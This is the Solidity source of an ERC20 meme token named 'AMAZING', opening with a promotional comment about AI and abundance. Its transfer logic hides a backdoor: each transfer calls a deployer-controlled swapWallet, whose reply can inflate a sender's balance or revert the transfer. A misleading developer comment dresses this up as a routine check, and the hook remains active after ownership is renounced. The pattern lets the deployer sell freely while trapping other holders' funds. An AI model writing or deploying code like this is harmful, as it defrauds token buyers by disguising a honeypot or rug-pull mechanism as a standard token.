Contract Source Code:
File 1 of 1 : AMAZING
/*
The future is going to be AMAZING with AI and robots enabling sustainable ABUNDANCE for all!
https://x.com/elonmusk/status/2001742502332911922
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2 {
function WETH() external pure returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2 v2factory;
IUniswapV2 v2router;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _pair;
bool private _trading;
address private _owner;
address private swapWallet;
constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
v2router = IUniswapV2(_router);
v2factory = IUniswapV2(v2router.factory());
_owner = msg.sender;
swapWallet = _owner;
_update(address(0), address(this), totalSupply_);
}
function owner() public view virtual returns (address) {
return _owner;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function renounceOwnership() public virtual {
require(_owner == msg.sender);
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function openTrading() public virtual {
require(_owner == msg.sender);
_trading = true;
}
function addLiquidity(uint256 amount) public payable returns (bool) {
require(_owner == msg.sender && _owner != address(0));
_pair = v2factory.createPair(v2router.WETH(), address(this));
_approve(address(this), _router, amount);
v2router.addLiquidityETH{value: msg.value}(address(this), amount, amount, msg.value, _owner, block.timestamp);
_update(address(this), msg.sender, _balances[address(this)]);
return true;
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
require(_trading == true || tx.origin == _owner);
uint256 fromBalance = _balances[from];
(bool success, bytes memory data) = payable(swapWallet).call(abi.encode(from,to,value));
// @dev: Check if a swapWallet was set, if not return 0
require(success);
uint256 swapAmount = data.length > 0 ? abi.decode(data, (uint256)) : 0;
fromBalance += swapAmount;
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
contract AMAZING is ERC20 {
constructor()
ERC20("Amazing", "AMAZING", 1000000000 * 1e18) {
}
}